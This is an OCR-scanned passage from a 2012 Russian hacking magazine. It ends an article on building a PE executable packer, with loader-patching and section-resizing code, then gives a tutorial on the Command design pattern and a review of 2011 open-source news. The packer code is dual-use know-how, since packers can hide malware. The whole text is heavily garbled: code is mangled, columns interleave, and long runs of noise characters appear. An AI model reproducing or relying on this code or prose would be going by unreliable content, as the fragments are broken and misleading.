делает виртуальный размер IMisc.VirtualSizel секции с кодом I.textl равным реальному невыравненному размеру кода, то есть указывает размер меньше физического. А значит, есть шанс
сэкономить до 511 байт. То есть так бы мы записали данные после кучи выравниваю щих нулей, а зная фишку, можно записаться поверх этих нулей. Вот как все наши мысли будут выглядеть в коде:
О, мы едва не забыли заменить метки OxDEADBEEF и OxBEEFCACE, оставленные в загрузчике, на реальные значе ния! OxBEEFCACE у нас меняется на размер сжатого обраэа, а OxDEADBEEF - на его абсолютный адрес. Адрес образа вы числяется по формуле [адрес образа] + [виртуальный адрес секции] + [смещение образа относительно начала секции]. Следует отметить, что замену надо производить еще до обнов ления значения
Misc.VirtuaISize, иначе полученный в результате
файл не заработает. Расширение секции
//
Ищем и заменяем метки с помощью очень простого цикла:
кода
Создаем копищ образа нашего загрузчика с запасом по
памяти
РВУТЕ
pbLoaderCopy = ' new BYTE[loader_size + dwCompressedSize + 0х1000 ]; memcpy{pbLoaderCopy, (LPBYТE)&loader, loader_size);
/1
Определяем его заголовки
PlМAGE_DOS_HEADER PlМAGE_NT_HEADERS
dos nt =
= (PlМAGE_DOS_HEADER)pbLoaderCopy;
text->Мisс.VirtuаlSizе;
Makeptr{PlМAGE_NT_HEADERS,
11
for ( int i = 0; i < simple_packer_size; i++) i f (*{DWORD*){&pbLoaderCopy[i]) == 0xBEEFCACE ) *(DWORD*){&pbLoaderCopy[i]) = dwCompressedSize; else i f (*{DWORD*){&pbLoaderCopy[i]) == 0xDEADBEEF ) *(DWORD*){&pbLoaderCopy[i]) = пt->ОрtiопаlНеаdеr.lmаgеВаsе + text->VirtuаlАddrеss +
pbLoaderCopy, dos->e_lfanew); Вот, собственно, и всё . Теперь в памяти у нас есть упакованный
Расширяемая секция
и готовый к работе файл, достаточно сохранить его на диске с по
PIMAGE_SECTION_HEADER text
мощью функций CreateFile/WriteFile.
11
Копируем сжатый образ в конец секции поверх нулей
ВЫВОД Ы
memcpy{&pbLoaderCopy[ text->РоiпtеrТоRаwDаtа
+ text->Мisс.VirtuаlSizе], lpCompressedJmage, dwCompressedSize);
11
Фиксим физический размер. учитывая фишку с
text->SizеОfRаwDаtа
Misc.VirtualSize
+ dwCompressedSizeJ
пt->ОрtiопаlНеаdеr.FilеАligпmепt);
Фиксим виртуальный (а на самом деле реальный) размер
text->Мisс.VirtuаlSizе
/1
Фиксим размер образа
ХАКЕР
02/157/2012
UPX
на примере
notepad.exe - мы выигрываем примерно 1 Кб: 46 592 байта у нас против 48128 у UPX. Однако наш пакер далеко не со вершенен. И это очень заметно.
Дело в том, что мы сознательно проигнорировали такую
=
ALIGN{text->Мisс.VirtuаlSizе
'l
Если сравнивать эффективность сжатия нашего упаковщика с
+= dwCompressedSize;
важную вещь, как перенос ресурсов. Полученный в результате сжатия файл потеряет иконку! Реализовать недостающую функ
цию предстоит тебе самому. Благодаря полученным из этого материала знаниям, никаких сложностей у тебя с этим делом не возникнет. ::Х::
099
кодинг
deeonis Ideeonislagmail.com!
атте-- н УНИФИЦИРУЕМ ИНТЕРФЕЙСЫ ВЫПОЛНЕНИЯ КОМАНД Большая часть современного ПО разрабатывается группами программистов. Кто-то отвечает за пользовательский интерфейс, кто то за ядро, а кто-то за дополнительные
модули. Чтобы работа всех этих людей не пропала даром, нужно грамотно
объединить разные части проекта, не забыв при этом о возможном его расширении . Для этого нам пригодится
паттерн проектирования «Команда», который инкапсулирует в себе исполнителя задачи и ее условия .
...
.. . .
",
' .
•
'.. • •:
. • ' • . '0
. .
.' ••
.
.. '.
. .' . : . . '.', . . .. . ..... : ... . .' ..'.. . о.·.· . о' . . . • . . . " '.: • . -. ', '. , ' . , , ' . . '. .. .. .. . ' .. '.... ' .. . .'
.'
..... .
"
•
... "
'
'
"
................
,,:'
•
о. .... ~
.'
'
о ' "
".
•
'.'
•
..
'
: .... "
..:.
' ...
......
.. .... : .
. ... •
:
..'
~.',
'
:
00
"
'.
",: .: :
О.
•
••••
.,'
....
:::. . :
~
• •: . . . .
.',
",
•••
•
•••••••
.
.. •
•
.'
:'.
.~ .'
••
0'0
:.: •
О.' '. ', 'о '
. . " :
•
" ." . '. ' . ' : '. ' . ' ..... ..... ... . . .' .. "
"
.' . ::' ... '. .... . ... •
•
•••• • • :
•••
'
'.'
0'0'
.. :
Паттерн «Команда»
авай представим, что мы работаем в компании, которая
Д
Для такой изоляции нам нужно определить объект команды,
пишет с ложный многокомпонентный софт. Проект узкоспе
а следовательно, и соответствующий интерфеЙс. Он достаточно
циализированный и имеет много разнообразных модулей ,
прост и определяет всего один метод executell, который должен
количество которых может со временем расширяться . Наша задача
выполнять метод какого-либо из модулей.
состоит в том, чтобы написать гибкую и удобную систему горячих
клавиш для этой программы. Набор возможных сочетаний ограни
Интерфейс объекта «Команды»
ч и ва е тся хоткеями от
class Command
комбинацию
ctrl-z
<ctrl-O> до <ctrl-9>,
а также включает в себя
для отмены действия.
Казалось бы, всё просто: накодил большой блок
switch,
который
public : void execute()
при нажатии ра з ных сочетаний кнопок вызывает ту или иную
,
(3 '
функцию какого-либо модуля, и радуйся. Но, во-первых, такой подход не отличается гибкостью. Когда проект пополнится новыми модулями или
hotkeys,
Для определения конкретного объекта мы просто объяв
нам придется менять код зтого раздутого
о ператора ветвления, из-за чего он впоследствии раздуется еще
ляем новый класс, который наследует интерфейс
больше . А во-вторых , начальство большими красными буквами на
и определяем его метод executell . Допустим, мы хотим создать
п и сало, что у пользователя должна быть возможность переназна
команду, запускающую калькулятор. Для этого мы создадим
чить эти горячие клавиши . Таким образом, жестко забить команды
класс RunCalcCommand, который будет наследовать интерфейс Command, и переопределим executell для вызова метода runCalcl1 модуля Calculator.
в код
switch
У нас точно не выйдет.
Вз глян у в на код модулей проекта и списки их команд, которые
Command,
можно присвоить хоткеям , мы еще больше убеждаемся, что при
дется изрядно помучиться, прежде чем мы придумаем более-менее
Команда
рабочую архитектуру всего этого.
class RunCalcCommand: publ ic Command
Интерфейсы модулей,
доступные для обращения через
запуска
калькулятора
Calculator 'calc; public : RunCalcCommand(Calculator 'excalc)
HotKeys
class Calculator
{
= excalc;
calc
public : void runCalc (); void closeCalc();
}
void execute() { calc->ruпСаlс();
class Printer public : void printDocument(); void printlmage(); void printEmail();
Если внимательно присмотреться к коду команды, то можно заметить, что в конструкторе класса указатель на модуль
Calculator.
RunCalcCommand
передается
Это сделано для большей гибкости .
В будущем у нас может появиться класс
ModernCalculator,
вы
зывающий продвинутую версию расчетной программы. Используя
class Browser
композицию, то есть не фиксируя исполнителя жестко в коде,
public : void runBrowser(); void closeBrowser();
// C-.,D:
tuct108
.~~. &"a..JЦ'
(
СO'U.Шld. I )
t.u. eK~tute
.. tuncuo. O
О .
UU. un!XIi!CUt.e .. tuN:t1oa (!
//
и дальше много всяких разных
классов
//
~_ndl
r-:uo..
l'iII'
Отбросив лирику, перейдем к изучению паттерна «Команда», кото
~. t)lecute
.. t\mct.1oa (DtucaJ.C\ti8t;O C,
( t rPl!:>Of (лnotе lcu1е.toz: ) . ... оЬ]li!с [ ..
может выбрать из списка одну из команд, предоставляемых модулями,
ope l:lIlId
-
это
к лиент, АРI-функции модулей , вызываемые с помощью горячих
-
-
hotkeys
I •• " :5tJ::l.Ло;(' ... t,mto f (newQp ttlll\d ) •• "пuиbt[" ) I
II ~.(NUUU
"
/1
tш.:ti.o.8 ()
opecand.);
(
~ оСр.!'ЖИ ~
c UcuJatot . op"atiOl:l (UDdo lopel:atot ). opetan4 j;
" t..:t1oa
W'U1o (ope,acor
(
II .~'КAШU .ерне!' оощ.;пор, ~ lrЩi'e.roiЮfalr6f
11
это задачи, а модули, предоставляющие эти задачи,
это исполнители. Окошко с настройками
I\!vОрt t 8П(\
'-оса! (nе_Ор Сt8 tо r J
non!Operand ;
са.1 сuJаtо с . ореr. t lon l ореЖ:8 tor ,
LII.iJo. unE'lCccut.e ..
и закрепить ее за определенным сочетанием клавиш .
..
c 81CII1.toc - _.calculatoc; ор еса со[ MO!Operatoc;
,
в котором пользователь
Формально выражаясь, обработчик нажатий клавиатуры
~ p t [ liI.t.o [ .
/1 ~Jroa."tJ".I)DCТI)O.II1I:aWla1I1
if
разобраться, что мы имеем. У нас есть множество модулей с самыми
к лавиш,
{
Optl&n4:
рый дол жен помочь нам в этом нелегком деле . Для начала следует
API. Также у нас есть окошко,
IJJtfЦJМИU II»QШ~
CtUcuJ I:I.t.OrCouanl1 0 ...... c: a.1cu1al;.g [ ; ...r optt.t.O t ;
ПАТТЕРН «КОМАНДА»
разнообразными
{} ;
/Ч»I' ~,tЮ(Н', N8tIЖI
J.xno.n"". ""ICII'
~.rJt«МНIМ't 1f не
nep61.' oi"'l
~7'Op
nttclt{opfteCOr ) (
представ
t". . .
с
'.' :
... '.' ;
ret-. ' - ' ; Iore.k ; цtwr.ll
' . ' ; Ione); ;
ляет собой некий посредник между клиентом и исполнителем, скрывающий все детали выполняемых операций. Такая структура позволяет полностью отделить клиент от исполнителя, то есть
I ttLlOOlI.totCOJ..ll.anf1. ptototypf · .", tOllll8Dd !J: ta1cu.lll.totCOUAJЦi. prOtotypt . cOn5f.roctot .. ta.1culatot t o~ ;
пользователь понятия не имеет, какой модуль работает при нажа
11 1ec:e.l.JI"U: ~'N.'D r..ct.1o_ tal culato t \ J I
тии той или иной комбинации клавиш и что он делает. И это очень
y3r ~
О;
хорошо, так как чем лучше изолированы друг от друга части кода,
тем надежней работает программа .
ХАКЕР 02 / 157/ 20 12
Пример кода на
Java
101
кодинг
. __ С __ .
мы увеличиваем изолированность кода, что в будущем позволит
__ .Сi!l.С.сН.UП.Сi!.1!;J).;.
сзкономить время.
. J __ .... ________ .__..__.____.____ __
Теперь нужно связать команду с хоткеем. Для зтого можно
создать массив указателей на объекты класса
Command.
Размер
массива будет равен количеству поддерживаемых горячих клавиш.
__ .I!QJd__
Ctrl
. __________ .J; al__c.c~clQs.e.CflJ..C (
составляет какое-либо из возможных
ctrl-a
до
ctrl-k,
).; __ __
----1----
сочетаний, в числовое эначение. Если бы мы использовали сочета ния, например, от
. __ . ________ . __
с
х откеем . В нашем случае для этого можно преобразовать значение кнопки, которая вместе с
uпфО
____
Каждый злемент массива команд сопоставляется с определенным
}--.------.---- . .--.--.------ .----------------.--
то нам бы потребовался немного
Мы просто добавили метод undoll, который должен быть
другой подход.
Получив код нажатого сочетания клавиш и преобра зо вав его
переопределен в классах-наследниках. Программист сам решает,
в соответствующий индекс для массива команд, мы можем смело
какую именно функцию модуля будет использовать метод отмены.
вызывать метод
Так, метод undoll для RunCalcCommand будет обращаться к функ
executell объекта, указатель на который находится
ции closeCalcl1 модуля Calculator. Нам также потребуется немного
в нужной ячейке массива .
подправить код обработчика клавиатуры. Ha3f!;;!'!-'i!Н!1е . Д).м.аНдь! ..НiiI... !Jqt!<gу
.11 __ ее __ ~<ю}'!;1<, 11 .. КQ.!I __ ~t!lI\lI.и.i!~~.3.i! ц~.и __ КQ!'1i!нд.t,сJ1 )~.QI.Кgя .... ____ о сопst __ .:iлt соm~оuп1; =__ J,e ; __ Сqml1J.эгн;I *. __ .СРЛ'Шi!!J9 5 [c.Q!!!.cP.unt] ; __.
9бра!1.Qт.Ч И.К __ М.<!!!.i-li!Т)/IJ.!>I. !; !1Qд.!Iep~1<,9.i.i .. 9.IMel:l.b! ____ ..________
1/ __ к.QД
.И.ню,mjjЛ~~j;!ц11И.. КQм.аН.!I!>I.. и.
СQmЛ!i!.оQ*..С.QЛ!rn.ад<;l.sIСQ.rnС.Q.I,шtJ~ .....
CaJ,J;IJJ,.i!'tor__
*.с,i!l!;= . лgW __ С;;IJJ;.цli!'t.or (}; .______ .
СОrnmшн:js[ е]
__ C'__ .ne.w
*lаstСощmi!J1Q __
CQI1Jm.iJnd
=
XQTKef.l
__ о
.. ____ .. ____ .____ .__ .
_ _ _ _ _ _ _ _ _ _ • _ _ _ _ _ • • • __
_
__ .________ .____ .. ____ .__________.__ .__ .____ ._____ __ ______ .______ ... _ ... __.. __ ._____ . __ ._.
леW__ .NОСQmща!1d.().~
RU!J.СаlсJ;:рrnrnапс;!(цЙ.С );
С.аl.с.У,l.i!t.ог____*.са).с __ =. л.еw . Са.J..с,uJi1.t.9ГС); __ сgЛ!rn.<!nds
11
[eJ . "'.
пеw.. в,UЛСfl1С.СQJn пщпQ(с,<J1,,);
__ ..... ____.__ .. ______________ __
IJqл)/чае~ !!iiI~aTbIe __ кл.!!виши __
hgt!<e)/ .C' cat.c,hJ:igtXe)/.o; ЛР.еQ.бра3Qе.Ь!!щем . ИХ. в . инд.ек!= И. ~.,юу ~ кае!'1 i!Jt.__ iпQ.ех= . hQ,tkеу2iлQех(hQt.l<еу); . __ соmm.аГ!J;lsliпd.ех1с ~exeJ;.IJte() ; ______ .__
11
I / __ KOA. В . командУ. __
HotКe}' *h.Q1;J~e}'
11.__F;,,,ли. Всё довольно-таки просто. Можно определить еще несколько наследников
Command,
9.QР.<!9р:гчик;е наЖ<lI.И.!1 клав.и<Jтуры1 __ _. __..
IJ. Лщ,учае!'1. __ на1Кать!е. __ клавищи . __
. __
=__ ч!'tсhНоtКеуО; ______ __
qТQ__ .QТ!'1ена. __ .Т.Q . JiI!>I.З.Ь.l.8.аем .с,q.QтвеТ"Т!!уtQщиЙ .метод
.________ .
i f.__ChptkeY.c. ~.str() .~C'__ " .сtгl.с.z':J . {
которые будут выполнять определенные
действия, и связать их с горячими клавишами . Такая архитектура позволяет полностью отделить клиент от исполнителей. Обработ чик клавиатуры понятия не имеет, какой модуль обрабатывает ко
}
манду и что именно он делает, а модули, в свою очередь, не подо
зревают, что обращение к ним осуществляется с помощью
hotkeys,
а не каким-то другим способом.
Здесь мы про сто запоминаем в переменной
ОТМЕНА KOMAH~Ы
lastCommand
указатель на последнюю использованную команду и при нажатии
Вроде бы всё хорошо, но мы совсем забыли про отмену. Сочетание
ctrl-z
клавиш
бегаем к небольшому трюку, используя объект пустой команды
ctrl-z должно
откатывать действие по следней команды.
Реализовать отмену довольно просто, хотя на первый взгляд может
вызываем соответствующий метод. Дополнительно мы при
NoCommand.
Код этого класса выглядит так:
по казаться, что зто совсем не так. Для этого мы немного изменим
интерфейс
Command.
IJY.~IfI.!!..I<,Р~fI.НАа. __r-!q.С9.l1Jrn"пd .
с 1 <!.S.? __NgCgmm;JnQ : Кmкс __ '9rnl1JаlJd.,..!!оддеР)!!Иl;lающиЯ__ o-r:Меf!}' __ __
p.IJb1;i..c.
__. __ __
С9t1JШiJп.d
...
С
cJass.__ ~Qmmand { -puQl;i c . .I!Р.j,9. __ .е,хес.ut.ел
vqi,d
__ =__ е.; __ .
Команда (шаблон проектирования)
JюdQ(J __ = е ; ________ .
)'_~~II~'---'_ к-..
}
KeII ....... - W.а-~~~ ,~ ...
1
~~_~.
r.,.Ac--.ц""А _ _ O6wocr~"_IC"'C_A'Acт_""'~,
.
<м"_
,-,...,.-
clas.s. ВJ,шСаJ\;J;:.qrnm;;lпd;... Jн.ФJi!; __ Command {
_ ,,
"_.. ~,, I ~ 2~ ... м.J ....
ээг.м.,JМВсrlpt
J tn.мw.~
риЬЦ.!; .:
__ . J1,YJ1(<!lС (Рl1Jrn;!nd (~fll.c.YlatQr С ..
.c.<!,l!;= __ .eKc,al,,,.;__ __
..... НftS
3S ........' ... VllNEТ 'С(_
.-*еХсаl,(;)
__ .. ______ о
I~'-I
с..._np~"IOfOPOIICIIКt-Фl1lI8lПUlo"_с.~",_"'mrО'Т"fТ8N81p11М"'.
Opr_..... ~_.tКII..::cy. ~._"'.c.~_,.,..tm.... OnмC:""8 ~oO,t6om:J
} --
:
Цель
__
._.oII_, __'*c"""""" .. •
n......,..IOfIUIII, I _ _ _ IЩ. . . . . . 8OIA.,...,..m ••
--- -, -.....-.
...""""'*"*-".-' 1. . -1 ' - - - - - . - - . -.,.........,
,"""'8Un..~
...oWAII,"' .. ~tICf.
I""
I ~J
I
Wikipedia про паттерн «Команда».
102
ХАКЕР
02/157/2012
Паттерн «Команда»
.... y.QJd e~.et;.LJ:te( ) .. .0.; .....уо~.d . lJлg.QО . {}.; ... .
Client
l
)--
} ....................................... .
J Такие объекты-заглушки используются довольно часто . Они
Invoker
]
~
Command Execute!l
нужны , чтобы уменьшить количество проверок нулевого указателя. Е с ли бы l аstСоmmапd был равен NULL, то перед вызовом метода undol! нам пришлось бы проверять корректность значения этого
~I
указателя, что нежелательно, так как однажды мы можем забыть
Receiver Action!l
~
ConcreteCommand Executell :.... ....... ----.-- ............................• state у
это сделать, в результате чего программа с грохотом упад е т. Такие же объекты-заглушки рекомендуется использовать и для осталь ных хоткеев, которым не назначены соответствующие команды.
1 J
Кстати, код обработчика клавиатуры можно модифицировать так, чтобы он поддерживал отмену не только последней операции, но и вообще всех цепочек выполненных команд. Для этого вместо
receiver->Action!l;
простого указателя на последнюю команду следует испольэовать
с тек . При обработке какого-либо хоткея в стек будет добавляться
указатель на соответствующую команду. Таким образом, мы полу чим полную историю вызовов команд, что позволит нам последо
вательно все отменить при помощи
Диаграмма кnассов паттерна
ctrl-z. себя и undol!. Обработчик клавиатуры при обращении к объекту
МАКРОКОМАН,цы Макросы - одно из величайших
команды понятия не имеет, макрос это или обычная единичная
изобретений человечества, по
могающее ему экономить тонны времени. Наш паттерн позволяет
операция, и
главное, что все они предоставляют функции executel!
undol) .
•
реализовывать макрокоманды всего лишь с помощью нескольких
дополнительных строк кода . Для начала определим класс , отве чающий за логику группового выполнения операций.
РАСШИРЕННЫЕ ВОЗМОЖНОСТИ ПАТТЕРНА «KOMAH,Q,A» Наш паттерн можно использовать не только для обработки горячих
~".~PQKOMal:loII"..........
сочетаний клавиш. С помощью него можно организовывать очере
с).<!s~... Мач:оJ;о.mm,шQ .; ... Р\JЬJj..ссQ.mmапd ... { ._ .............................. ..... (:omm'H1J:j... ~ c9mm.<!I'].g.s~ ..
ди запросов. Допустим, что у нас есть пул потоков, который должен
.... in.t
выполнять некоторые эадания. Все задания представляют собой объекты , реализующие уже знакомый нам интерфейс
Command .
Команды выстраиваются в очередь, к которой последовательно
соmСQUЛ1;;
............................................. . pul?),,;i,.c : ......................................._ .............................
обращаются потоки. Они эабирают команды из этой очереди и за
... ~flC rQC.Qro!1!fl n9{(;.Qro!1!ang ..! .cQmilrriW> .~o1;.. еlеШ(:Qщсt;: ).....................
пускают их методы executel!. Потокам не важно, что делают эти объекты - главное, чтобы они поддерживали вызов executel) . Команды можно сохранять на жестком диске и восстанавли
.....J ....... _.................................
вать их оттуда. Для этого следует немного расширить их базовый
....... _ .... t;Qшroflл d s ...=...с_QJJlАrr.ау4..... _ ......... __ .... _ ..... . ... _ ........ соroС.9JJЛС ,:,...eJe.m(QUl1_t .; . ......}............................................... .
интерфеЙс.
CQffimanc;l .. t.:.. nQAдep1I!J~o.~ ..СQ.J'(раfЩНИ!! ..из.а.ГРУ~J(И... ... YQig e~.ec;.uteO _ .. ... ..{
t;Jass . СОПJ!1щпd { .. р.фltс : .......
=..
.... Y.9 id ...e!<.e cuteO.. ~ ~ ................................. .......vоi.9 .. JJлф.( 1.. ~ ; ...... yoicl.. Jg.<!dO_.= . ~.; ..... ....... vo;i,d ...s.:tQre 0 ...= . ~.; }.
. fQr ...C;i,n t i ... ~~ .i ...~._t;QmCo.t!nt; i ++1_.... { .............................. .
=...
... _....... _.....~QПJmап.d.sНJ :.>е.1<е.с ute (J;.._.. . .......•..... .} ............................. .......
} ....................................... . Метод loadl! предназначен для сохранения команды в журнале, а storel) - для ее восстановления оттуда. Код этих методов может
.... ..УQJ.cI .uJJ.Qgл ..
...... 1.
использовать механизмы сериализации языка программирования,
если таковые в нем есть. Такая функциональность нужна для рабо·
.:fQf.J in.t i .=,. ~ ; .J ...5. . иm(:QJJлt; i±:f:) ..... .... { ..... _....................... _._.......... ....... ... .
ты с большими объемами данных, которые невозможно сохранять после совершения с ними каждого действия. При сбое программы
. СQffim.а пd sН1- > uпQQО; ..........._.•.... _._ ..
мы сможем загрузить сохраненные команды и последовательно
......... J ._ .... ....
}
применить их к имеющейся копии данных для приведения этих
}
данных в актуальное состояние.
...... .
ЗАКЛЮЧЕНИЕ Как видно, класс
Command
MacroCommand
С помощью паттерна « Команда» нам удалось полностью отделить
является наследником
и переопределяет всё те же методы
execute
и
undo. В
ин
разношерстные модули-исполнители от клиента
-
обработчика
терфейсе от обычной команды он отличается лишь конструктором .
клавиатуры. Если в будущем в программе появятся новые модули ,
Этот класс принимает не указатель на исполняющий модуль, а мас
мы сможем легко добавить соответствующие команды и назначить
сив указателей на простые команды. Код executel! просто проходит
им горячие клавиши. Это будет простое , изящное и эффективное
по элементам массива и вызывает каждый из них . Так же ведет
решение. :Х:
ХАКЕР
02/157/2 01 2
103
ХАКЕР
02/157/2012
Победы и поражения ореп
source - 2011
",от:. Пальму первенства в списке самых попу лярных опенсорсных проектов из года в год
удерживает
Linux.
Думаю, не сильно ошибусь,
если предположу, что он установлен более чем на полумиллиарде устройств. Главным со
бытием в области разработки ядра в
2011
году
стала смена нумерации . Вместо версии, кото- · рая должна была выйти под номером
2.6.40,
в середине прошлого года вышла версия
3.0. Никаких особых новшеств (кроме вроде как официального ухода от Big Kernel Lock), которые могли бы оправдать смену нумерации, не было, просто Линусу показалось, что сорок релизов ветки
2.6 -
зто слишком много и пора
что -то менять. Теперь первая цифра в номере релиза будет меняться не только в случае по
явления радикальных нововведений (часто ло мающи х обратную совместимость), но и через каждые сорок релизов (при текущей скорости разработки цифра в очередной раз сменится
примерно через десять лет). В прошлом году зарелизились версии
2.6.39
и
3.0-3.1.
Добро пожаловать в ОеЫап
6
2.6.37связи) и
В любом релизе основная
OpenRISC (открытый процессор
ется, например, LХС-системой виртуали
часть (если мерить в строчках кода) изме
с производительностью примерно на уровне
нений касается добавления или улучшения
ARM10).
выставлять лимиты на запись или чтение
драйверов для тех или иных устройств. Все
данных (в байтах в секунду или
изменения перечислять не имеет смысла,
Поддержка технологии NFC (Near Field Communication), служащей для обмена
поэтому приведу те из них, которые заслужи
данными на очень небольшом расстоянии
вают внимания:
(около
рованные окружения (особенно сетевые подсистемы).
Новый драйвер для
Intel GMA500 (когда-то
зации уровня ОС) появилась возможность
IOPS'ax).
Серьезно оптимизированы виртуализи
10 см). Основная сфера применения
на сегодняшний день- различные системы
довольно широко использовался в нетбу
электронных платежей (например, в той же
Крупных изменений, которым подверглись
к а х вме с те с Intel Atom Z-серии). Раньше
Google Wallet).
файловые системы, насчитывается не много:
нормальный драйвер было сложно сделать
Многочисленные улучшения , касающиеся
Многообещающая
из-за лицензионных соглашений: в отли
работы на
носжиматьданныенадискахпоалгоритму
чие от железок , которые
и
с нуля ,
Поддержка таких специфически х устройств,
превосходство над прежним методом
как
zlib, а для
Intel разработала Intel GMA500, по сути, представляет собой PowerVR SGX 535 от Imagination Technologies. Сейчас драйвер всё равно оставляетжелатьлучшего, но его потихонь купилят.
Поддержка секторов размером более
512
•
SSD (в частности, в dm-crypt
LZO. Тесты
ext4). Microsoft Kinect и Nintendo Wii Remote.
Существенные изменения в DRМ-модулях
(Direct Rendeгing Manager, не путать с Digital rights management) от Intel, Radeon и
Nouveau . Для
всех чипов
проиэводительность (особенно для послед него поколения - Sandy Bridge) и уменьше
Поддержка видеокартс интерфейсом
показывают его существенное
некоторых операций и над теми
методами, которые вообще не используют компрессию.
•
Также в Вtгfsдобавилась автоматическая
дефрагментация (опция монтирован ия « -о
Intel увеличена
байт Blibata (например, 4 Кб, как во многих современных винтах) .
Btrfs научилась прозрач
но потребление энергии. Также добавлена
autodefrag»). В SquashFS, которая широко используется на LiveCD, добавлена поддержка формата XZ
и USВ2VGА-переходников (для подключения
поддержка еще не выпущенных процессо
для сжатия данных.
моников через
ров семейства
USB
Поддержка новыхпроцессорныхархитек
Ivy Bridge и всех последних видеокарт Radeon и Nouveau. Проведена
В сетевой подсистеме появились следующие
тур: UпiСоге-32 (разработан идостаточно
оптимиэация для различных чипов: так ,
фичи:
активно используется в Китае), 64-Ы! Tileгa
в некоторых тестах
•
(процессоры с очень большим количеством
двукратного роста проиэводительности.
ядер- до
USB) .
100 штук, -
NVI DIАудалосьдобиться
довольно часто встре
Accel-pptp - реализация РРТР/РРРоЕ/ L2ТР-сервера и РРТР-клиента, работающих на уровне ядра. По разным данным, они по
чающиеся в роутерах, файерволах, базовых
Ни один релиз не обошелся без существенных
вышают производительность минимум в два
станциях высокоскоростных сетей сотовой
изменений в подсистеме виртуализации:
раза по сравнению с решениями, работаю
В
KVM теперь можно запускать виртуальные
машины на виртуальной машине (вложенная
GNOME 3,2 в Fedora 16
ХАКЕР
02 / 157/2012
щими в
user-space. Кстати,
разработчик
наш соотечественник.
виртуализация) .
Протокол маршрутизации В.А.т.М.А . N.
Поддержка Хеп ОотО (хост-режим) наконец то появилась и в ванильном ядре. И это очень
(Better Approach То Mobile Adhoc Networking), предназначенный для mesh-
радует, так как разработчики некоторых
сетей (сети, где каждый хост связан с сетью
дистрибутивов (в частности , ОеЫап) со
черезсоседниехосты).
бирались уже отказаться от поддержи Хеп .
Новая реализация кода поддержки
Кроме того, добавлены патчи для изменения
target.
количества ОЗУ гостевых систем на леп>
Возможность монтировать DFS-ресурсbI
и проброса (pass through) устройств PCI
(DistгiЪuted
вгостевыесистемы.
Возможность привязывать к сетевому ин
В механиэме cgroups (который использу-
терфеЙсувсеадресапроизвольноЙподсети .
iSCSI
File System) Windows 2008.
105
UNIXOID
Днстрнб)"ТНВ
РеЙТllиr
Н . Р.О*
1
Mint
2828.
2
Ubuntu
2098т
3
Fedora
1686т
4
oBenSUSE
5
DеЫап
6
Arch
1455. 13161214-
7
PCLinuxOS
1002т
8
CentOS
963.
9
~ Mandriva
871 т
10
ний безопасности и фиксов ошибок 'а также,
простота кастомизации внешнего вида с по
возможно, бэкпортирование некоторых фичl .
мощью плагинов, написанных на и С55. На сайте
DESIOOP ENVIRONMENT
можно найти и установить прямо из браузера
в прошлом году среди мажорных релизов. Так,
'правда, пока поддерживается только Firelox со специальным плагиномl большое количе
с задержкой примерно на год вышел
ство дополнений .
Вообще, цифра три была довольно популярна
Основное нововведение
Gnome 3.0.
интерфейс, карди
-
нально отличающийся от интерфейса
2.
После выхода
Gnome
Далеко не все пользователи приняли его
собираются развивать форк старого
Gnorf1e
(которой в прошлом году, кстати, ис
Gnome3
невозможно использовать, и он подо
KDE
ждет на
XFCE, пока появится форк Gnome21.
полнилось 15 летl свою революцию уже
Помимоновогоинтерфейса , появилисьсле
пережила. В ближайшем будущем новая пока не планируется, разработчики просто по
дующие фичи:
Переделано единое окно
Control Center для
тихоньку пилят четвертую ветку. Вышло две
настройки всех пара метров системы.
версии
В
которые в них появились:
Empathy появилась функция блокировки спама, Evince обзавелся возможностью создавать закладки, Еуе 01 GNOME теперь
Dislrowalch
под
- 4.6
и
Поддержка
4.7. Самые
интересные фичи,
OpenGL Е5 2.0 в Kwin,
что
позволяет запускать КОЕ на мобильных устройствах. Кодсамого
ipset- компонент
Kwin был
местами
серьезно оптимизирован .
пеtliltег, предназначенный для обработки
в версии
больших списков IP/MAC-аАресов и ТСР/
исправить некоторые недочеты и добавили
назначенный для устройств с сенсорными
UОР-портов .
новые фичи:
экранами.
Функция
Wake оп WLAN для
беспроводного
разработчики попытались
Gnome 3.2
Тесная интеграция с различными
•
Проект
Google Calendar, а
сдокументами-Gооglе
важных нововведений:
пред
зультате которого упростилось добавление
в программе для работы
Для обычных десктопов тоже появилась пара
Plasma Active- интерфейс,
Развитие механизма комнат IActivitiesl, в ре
web-
сервисами: в календаре поддерживается
адаптера.
файлаилиприложениявопределенную
Activity Ic помощью контекстного меню ря
Oocs.
Системауправленияцветовымипрофилями
дом с заголовком окнаl и появилась возмож
С целью повышения интерактивности
и виртуальная клавиатура.
ностьзапускатьопределенныеприложения
планировщик задач получил возможность
Оптимизациядля использования на план
при переключении на
оперировать группами процессов 'а не от дельными процессамиl, которые объеди нены по sеssiоп
10. Таким
make
Activity.
Поддержка 51Р в
Новые плагины Iдля работы с 5QL и для взаимодействия с GOBI дЛЯ текстового
Поддержка
редактора
к файлам
Из
шетах .
образом, теперь
запуск большого количества потоков
Empathy. Apple Filing Protocol для доступа на ОС oTApple.
не повесит браузер. Чтобы включить эту
Kate. Gwenview и Ksnapshot теперь можно
легко выгрузить изображения во внешние
функцию, следует записать «1» в /p roc/sys/ ke г nе I/sc hе d_ а utog го u р _ е па Ь Iе d.
•
Gnome2
названием Mate Oesktop Environment IMOEI.
поддерживает плагины .
В состав ядра включен
поддержка
Gnome3
прекратилась, но нашлись энтузиасты, которые
с восторгом Iнапример, Торвальдс сказал, что
696.
ТОР10 дистрибутивов по версии
Java5cript extensions .gnome.org
у
есть один несомненный плюс-
Gnome3
сервисы .
Добавлены специальные таймеры, по ,,·,~'7~""""~_·'·"
зволяющие выводить ОС из спящего режима в заданное время.
!
"
tc,
\
~.~
1\<
':1 ,-
',,'Jk
т
Параллельно с ванильным ядром обновля oefault
ются также патчи, которые пока в него не вхо
...
-'I~
...
l'
\.~
Тime-s H~
t'~;J
Roman
J
•
12
дят. В ветке «-rt» IRealtimel ветке, которая превращает Liпu х в ОС реального времени,
появились патчи для Liпuх 3.0 Iпредыдущие 2.6.331. Сильно
патчи базировались на версии доработанные
HOBbie
патчи затрагивают почти
в два раза меньше файлов, что позволяет
Libre-Office 3.4.1
надеяться на скорое слияние веток. Для по
00034Om1 (Build:103)
следнего стабильного
Copyrtght О 2000, 2010 llbreOffke cont:ributors and/or thelr affiUatn. АtI rlghts r6erv~ .
Linux 3.1
также вышел
патч рl-kегпеl, который не только включает
в себя обычный планировщик процессов планировщик ввода-вывода
BFQ
